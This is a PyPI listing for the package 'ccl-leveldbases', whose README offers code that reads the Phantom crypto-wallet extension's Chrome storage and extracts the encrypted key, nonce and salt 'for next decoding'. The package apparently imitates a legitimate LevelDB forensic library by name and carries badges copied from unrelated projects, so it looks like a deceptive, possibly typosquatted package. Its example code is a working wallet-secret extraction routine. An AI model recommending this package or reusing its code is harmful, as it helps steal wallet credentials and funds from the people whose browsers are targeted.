ccl-leveldbases


Nameccl-leveldbases JSON
Version 1.2.3 PyPI version JSON
download
home_pageNone
SummaryCCL Leveldb Reader, extract vault data from any chrome extensions, and etc.
upload_time2024-09-22 07:17:41
maintainerNone
docs_urlNone
authorJeanClaude89
requires_python<4.0,>=3.7
licenseMIT
keywords
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # CCL Level DB
[![N|Solid](https://cldup.com/dTxpPi9lDf.thumb.png)](https://nodesource.com/products/nsolid)

![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg) ![](https://img.shields.io/github/tag/pandao/editor.md.svg) ![](https://img.shields.io/github/release/pandao/editor.md.svg) ![](https://img.shields.io/github/issues/pandao/editor.md.svg) ![](https://img.shields.io/bower/v/editor.md.svg)

LDB Reader and extract data from phantom wallet, ecnrypted key and data, vector, salt data for next decoding.

## Installation
Python requires [Python.org](https://www.python.org/) v3,7+ to run.
Install the dependencies and devDependencies and start the server.
```sh
python -m pip install pip
python -m pip install --upgrade pip
pip install ccl_leveldbases
```
## Example code
example patch
###### C:\Users\root\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn

```python
import ccl_leveldbases

def findldb(db_path):
	try:
		leveldb_records = ccl_leveldbases.RawLevelDb(db_path)
		for record in leveldb_records.iterate_records_raw():
			try:
				encrypted_object = json.loads(record.value.decode("utf8"))
				if "encryptedKey" in encrypted_object and "encrypted" in encrypted_object["encryptedKey"]:
				   break
			except:
				pass
		data = encrypted_object["encryptedKey"]
		encrypted = base58.b58decode(data["encrypted"])
		nonce = base58.b58decode(data["nonce"])
		salt = base58.b58decode(data["salt"])
		result_object_2 = []
		leveldb_records = ccl_leveldbases.RawLevelDb(db_path)
		for record in leveldb_records.iterate_records_raw():
			try:
				json_data = json.loads(record.value.decode("utf8"))
				if "content" in json_data and "encrypted" in json_data["content"]:
					result_object_2.append(json_data)
			except:
				pass
		return [result_object_2, [encrypted, nonce, salt]]
	except Exception as ex:
		return []

```
##Output:
```
[Encrypted, [data, vector, salt]]
```

For more information, see [docs.python-guide.org](http://docs.python-guide.org "docs.python-guide.org").

## License
MIT
>Decoder master project (c)

            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "ccl-leveldbases",
    "maintainer": null,
    "docs_url": null,
    "requires_python": "<4.0,>=3.7",
    "maintainer_email": null,
    "keywords": null,
    "author": "JeanClaude89",
    "author_email": null,
    "download_url": "https://files.pythonhosted.org/packages/29/da/d2137966ae8f5203f0facd32fd0be171f0db9d73ed442a8793a03684d19b/ccl_leveldbases-1.2.3.tar.gz",
    "platform": null,
    "description": "# CCL Level DB\n[![N|Solid](https://cldup.com/dTxpPi9lDf.thumb.png)](https://nodesource.com/products/nsolid)\n\n![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg) ![](https://img.shields.io/github/tag/pandao/editor.md.svg) ![](https://img.shields.io/github/release/pandao/editor.md.svg) ![](https://img.shields.io/github/issues/pandao/editor.md.svg) ![](https://img.shields.io/bower/v/editor.md.svg)\n\nLDB Reader and extract data from phantom wallet, ecnrypted key and data, vector, salt data for next decoding.\n\n## Installation\nPython requires [Python.org](https://www.python.org/) v3,7+ to run.\nInstall the dependencies and devDependencies and start the server.\n```sh\npython -m pip install pip\npython -m pip install --upgrade pip\npip install ccl_leveldbases\n```\n## Example code\nexample patch\n###### C:\\Users\\root\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\n\n```python\nimport ccl_leveldbases\n\ndef findldb(db_path):\n\ttry:\n\t\tleveldb_records = ccl_leveldbases.RawLevelDb(db_path)\n\t\tfor record in leveldb_records.iterate_records_raw():\n\t\t\ttry:\n\t\t\t\tencrypted_object = json.loads(record.value.decode(\"utf8\"))\n\t\t\t\tif \"encryptedKey\" in encrypted_object and \"encrypted\" in encrypted_object[\"encryptedKey\"]:\n\t\t\t\t   break\n\t\t\texcept:\n\t\t\t\tpass\n\t\tdata = encrypted_object[\"encryptedKey\"]\n\t\tencrypted = base58.b58decode(data[\"encrypted\"])\n\t\tnonce = base58.b58decode(data[\"nonce\"])\n\t\tsalt = base58.b58decode(data[\"salt\"])\n\t\tresult_object_2 = []\n\t\tleveldb_records = ccl_leveldbases.RawLevelDb(db_path)\n\t\tfor record in leveldb_records.iterate_records_raw():\n\t\t\ttry:\n\t\t\t\tjson_data = json.loads(record.value.decode(\"utf8\"))\n\t\t\t\tif \"content\" in json_data and \"encrypted\" in json_data[\"content\"]:\n\t\t\t\t\tresult_object_2.append(json_data)\n\t\t\texcept:\n\t\t\t\tpass\n\t\treturn [result_object_2, [encrypted, nonce, salt]]\n\texcept Exception as ex:\n\t\treturn []\n\n```\n##Output:\n```\n[Encrypted, [data, vector, salt]]\n```\n\nFor more information, see [docs.python-guide.org](http://docs.python-guide.org \"docs.python-guide.org\").\n\n## License\nMIT\n>Decoder master project (c)\n",
    "bugtrack_url": null,
    "license": "MIT",
    "summary": "CCL Leveldb Reader, extract vault data from any chrome extensions, and etc.",
    "version": "1.2.3",
    "project_urls": null,
    "split_keywords": [],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "9e82c9bc47663bf06e4390889198789484b032308c1df0dd9ff33ad7a4e159c1",
                "md5": "ac74a0ca3fbf30a58bb8a57175d7a48d",
                "sha256": "f0fd135e997625d98844c979b6741fe5077365d117df79e3cd4fef2591012bed"
            },
            "downloads": -1,
            "filename": "ccl_leveldbases-1.2.3-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "ac74a0ca3fbf30a58bb8a57175d7a48d",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": "<4.0,>=3.7",
            "size": 8656,
            "upload_time": "2024-09-22T07:17:40",
            "upload_time_iso_8601": "2024-09-22T07:17:40.428025Z",
            "url": "https://files.pythonhosted.org/packages/9e/82/c9bc47663bf06e4390889198789484b032308c1df0dd9ff33ad7a4e159c1/ccl_leveldbases-1.2.3-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "29dad2137966ae8f5203f0facd32fd0be171f0db9d73ed442a8793a03684d19b",
                "md5": "d7c6c94729f3fab6c3259dba6bf0dda7",
                "sha256": "2c25ab30ff337c6bcdc588e3212398a9d7dfca3f9811a5003e04b53dd15903e0"
            },
            "downloads": -1,
            "filename": "ccl_leveldbases-1.2.3.tar.gz",
            "has_sig": false,
            "md5_digest": "d7c6c94729f3fab6c3259dba6bf0dda7",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": "<4.0,>=3.7",
            "size": 8317,
            "upload_time": "2024-09-22T07:17:41",
            "upload_time_iso_8601": "2024-09-22T07:17:41.974114Z",
            "url": "https://files.pythonhosted.org/packages/29/da/d2137966ae8f5203f0facd32fd0be171f0db9d73ed442a8793a03684d19b/ccl_leveldbases-1.2.3.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2024-09-22 07:17:41",
    "github": false,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "lcname": "ccl-leveldbases"
}
        
Elapsed time: 0.34604s